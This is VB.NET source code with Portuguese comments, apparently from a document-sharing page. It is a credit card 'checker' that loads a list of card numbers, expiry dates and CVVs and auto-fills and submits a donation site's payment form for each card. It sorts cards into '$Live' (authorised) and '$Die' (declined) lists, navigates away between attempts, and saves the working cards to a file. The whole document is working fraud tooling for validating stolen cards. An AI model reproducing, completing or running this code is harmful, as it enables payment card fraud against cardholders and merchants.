You are on page 1of 6

'----------------------------------------' Imports

Imports System.Windows.Forms.LinkLabel
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections
Imports System.Collections.Generic
Imports System.Collections.Specialized
Imports System.ComponentModel
Imports System.Data.SqlClient
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Management
Imports System.Net
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
'----------------------------------------' Imports
'----------------------------------------------------------------------------'
'---------------------------------------------------------------------------'
'----------------------------------------' declaraoes aparti
Dim quantidade As Long = 0
Private Function cbCartao() As Object
Throw New NotImplementedException
End Function
Private Sub f()
Me.DataGridView1.Rows.Remove(Me.DataGridView1.Rows.Item(0))
End Sub
Public Function deletaprimeralinha(ByVal arquivo As String) As Object
Try
Dim num2 As Integer
Dim reader As New StreamReader(arquivo)
Dim strArray As String() = New String(2 - 1) {}
Dim index As Integer = 0
Do
strArray(index) = reader.ReadLine
index += 1
num2 = 1
Loop While (index <= num2)
Me.TextBox2.Text = strArray(0)
Dim list As New List(Of String)(File.ReadAllLines(arquivo))
list.RemoveAt(0)
reader.Dispose()
reader.Close()
File.WriteAllLines(arquivo, list.ToArray)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError()
End Try
Return ""
End Function
Private ar As String
'----------------------------------------' declaraoes aparti
'-------------------------------------------------------------------------------------------------------------

'----------------------------------------' Preenchimento da Donate ( LIN


K ) TIMER 1
Try
Label5.Text = "Preenchendo"
'----------------------------------------' Seleo de Bandeira
( Visa, Master, Amex, Diners e Elo)
If (Strings.Mid(Conversions.ToString(Me.DataGridView1.Rows.Item(0).C
ells.Item(0).Value), 1, 1) = "4") Then
Me.WebBrowser1.Document.GetElementById("codigoBandeira").SetAttr
ibute("value", "visa")
ElseIf (Strings.Mid(Conversions.ToString(Me.DataGridView1.Rows.Item(
0).Cells.Item(0).Value), 1, 1) = "5") Then
Me.WebBrowser1.Document.GetElementById("codigoBandeira").SetAttr
ibute("value", "mastercard")
ElseIf (Strings.Mid(Conversions.ToString(Me.DataGridView1.Rows.Item(
0).Cells.Item(0).Value), 1, 2) = "37") Then
Me.WebBrowser1.Document.GetElementById("codigoBandeira").SetAttr
ibute("value", "amex")
ElseIf (Strings.Mid(Conversions.ToString(Me.DataGridView1.Rows.Item(
0).Cells.Item(0).Value), 1, 2) = "36") Then
Me.WebBrowser1.Document.GetElementById("codigoBandeira").SetAttr
ibute("value", "diners")
ElseIf (Strings.Mid(Conversions.ToString(Me.DataGridView1.Rows.Item(
0).Cells.Item(0).Value), 1, 2) = "63") Then
Me.WebBrowser1.Document.GetElementById("codigoBandeira").SetAttr
ibute("value", "elo")
End If
'----------------------------------------' Seleo de Bandeira
( Visa, Master, Amex, Diners e Elo)
WebBrowser1.Document.GetElementById("produto").SetAttribute("value",
"500")
WebBrowser1.Document.GetElementById("cartaoNumero").SetAttribute("va
lue", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(0).Value))
WebBrowser1.Document.GetElementById("mes").SetAttribute("value", Con
versions.ToString(Me.DataGridView1.CurrentRow.Cells(1).Value))
WebBrowser1.Document.GetElementById("ano").SetAttribute("value", Con
versions.ToString(Me.DataGridView1.CurrentRow.Cells(2).Value))
WebBrowser1.Document.GetElementById("cartaoCodigoSeguranca").SetAttr
ibute("value", Conversions.ToString(Me.DataGridView1.CurrentRow.Cells(3).Value))
For Each element As HtmlElement In WebBrowser1.Document.GetElementsB
yTagName("input")
If element.GetAttribute("id") = "submit" Then
element.InvokeMember("click")
End If
Next
Timer1.Stop()
Timer2.Start()
Catch exception1 As Exception

End Try
'----------------------------------------' Preenchimento da Donate ( LIN
K ) TIMER 1
'---------------------------------------------------------------------------'
'----------------------------------------' Mensagens de Aprovadas e Repr
ovadas TIMER 2
Try
If InStr(WebBrowser1.Document.Body.InnerText, "No autorizada") Then '
Reprovadas
Me.ListBox2.Items.Add("[ $Die ] " + Me.DataGridView1.CurrentRow.
Cells(0).Value + " : " + Me.DataGridView1.CurrentRow.Cells(1).Value + " : " + Me
.DataGridView1.CurrentRow.Cells(2).Value + " : " + Me.DataGridView1.CurrentRow.C
ells(3).Value)
Label6.Text = ListBox2.Items.Count.ToString
Me.deletaprimeralinha(Me.ar)
Me.f()
Timer2.Stop()
Timer3.Start()
Label5.Text = "Reprovada"
Label5.ForeColor = Color.Red
ElseIf InStr(WebBrowser1.Document.Body.InnerText, "Autorizada") Then
' Aprovadas
Me.ListBox1.Items.Add("[ $Live ] " + Me.DataGridView1.CurrentRow
.Cells(0).Value + " | " + Me.DataGridView1.CurrentRow.Cells(1).Value + " | " + M
e.DataGridView1.CurrentRow.Cells(2).Value + " | " + Me.DataGridView1.CurrentRow.
Cells(3).Value)
Label7.Text = ListBox1.Items.Count.ToString
Beep()
Me.deletaprimeralinha(Me.ar)
Me.f()
Timer3.Start()
Timer2.Stop()
Label5.Text = "Aprovada"
Label5.ForeColor = Color.Green
End If
Catch ex As Exception
End Try
'----------------------------------------' Mensagens de Aprovada
s e Reprovadas TIMER 2
'---------------------------------------------------------------------------'
'----------------------------------------' Navega Para o Google
TIMER 3
Try

Label5.Text = "Redirecionando... 1"


Label5.ForeColor = Color.Black
Me.WebBrowser1.Navigate("https://www.google.com.br")
Timer3.Stop()
Timer4.Start()
Catch exception1 As Exception
End Try
'----------------------------------------' Navega Para o Google
TIMER 3
'---------------------------------------------------------------------------'
'----------------------------------------' Navega Para o Seu Lin
k TIMER 4
Try
Label5.Text = "Redirecionando... 2"
Label5.ForeColor = Color.Black
Me.WebBrowser1.Navigate("LINK")
Timer4.Stop()
Timer1.Start()
Catch exception1 As Exception
End Try
'----------------------------------------' Navega Para o Seu Lin
k TIMER 4
'---------------------------------------------------------------------------'
'----------------------------------------' Botao Carregar
OpenFileDialog1.ShowDialog()
TextBox2.Text = OpenFileDialog1.FileName
Try
Timer1.Stop()
' ====
Dim Separador As Char
Dim datagrid As New DataTable
Dim dr As DataRow
datagrid.Columns.Add("N")
datagrid.Columns.Add("Ms")
datagrid.Columns.Add("Ano")
datagrid.Columns.Add("Cvv")
datagrid.Columns.Add("")
dr = datagrid.NewRow()
Dim Arquivo As New System.IO.StreamReader(TextBox2.Text)
Separador = ";" '------ Separador ( | ; : / \ )----'
While Arquivo.Peek() <> -1
datagrid.Rows.Add(Arquivo.ReadLine().Split(Separador))
End While
DataGridView1.DataSource = datagrid
Me.cbCartao.Enabled = True
DataGridView1.CurrentRow.Selected = True
Catch ex As Exception
End Try

Me.tContador.Start()
Dim tmn As Integer
For tmn = 0 To DataGridView1.ColumnCount - 1
If tmn = DataGridView1.ColumnCount - 1 Then
DataGridView1.Columns(tmn).AutoSizeMode = DataGridViewAutoSizeCo
lumnMode.Fill
Else
DataGridView1.Columns(tmn).AutoSizeMode = DataGridViewAutoSizeCo
lumnMode.DisplayedCells
End If
Next
'----------------------------------------' Botao Carregar
'---------------------------------------------------------------------------'
'----------------------------------------' Botao Iniciar
Timer1.Start() ' incia timer
'----------------------------------------' Botao Iniciar
'---------------------------------------------------------------------------'
'----------------------------------------' Botao Pausar
Timer1.Stop() 'pausar timer
Timer2.Stop() 'pausar timer
Timer3.Stop() 'pausar timer
Timer4.Stop() 'pausar timer
WebBrowser1.Navigate("Link") 'Carrega a Donate
'----------------------------------------' Botao Pausar
'---------------------------------------------------------------------------'
'----------------------------------------' Botao Reiniciar
Timer1.Stop() 'pausar timer
Timer2.Stop() 'pausar timer
Timer3.Stop() 'pausar timer
MsgBox("Seu Processo Vai Ser Reiniciado Apartir De Agora", vbOK, "Notifi
cao")
Timer4.Start() 'incia timer
'----------------------------------------' Botao Reiniciar
'---------------------------------------------------------------------------'
'----------------------------------------' Botao Salvar
Dim salvarComo As SaveFileDialog = New SaveFileDialog()
Dim caminho As DialogResult
Dim fluxoTexto As IO.StreamWriter
Dim Arquivo As String
salvarComo.CheckFileExists = False
salvarComo.Title = "Text Files |.txt|*.txt"
salvarComo.Filter = ".txt|*.txt|All files|*.*"
caminho = salvarComo.ShowDialog
Arquivo = salvarComo.FileName
If Arquivo = Nothing Then
MessageBox.Show("Invalid File", "Save !", MessageBoxButtons.OK)

Else
fluxoTexto = New IO.StreamWriter(Arquivo)
For i As Integer = 0 To ListBox1.Items.Count - 1
fluxoTexto.WriteLine(ListBox1.Items(i).ToString())
Next
fluxoTexto.WriteLine("")
fluxoTexto.Close()
end if
'----------------------------------------' Botao Salvar
'---------------------------------------------------------------------------'

You might also like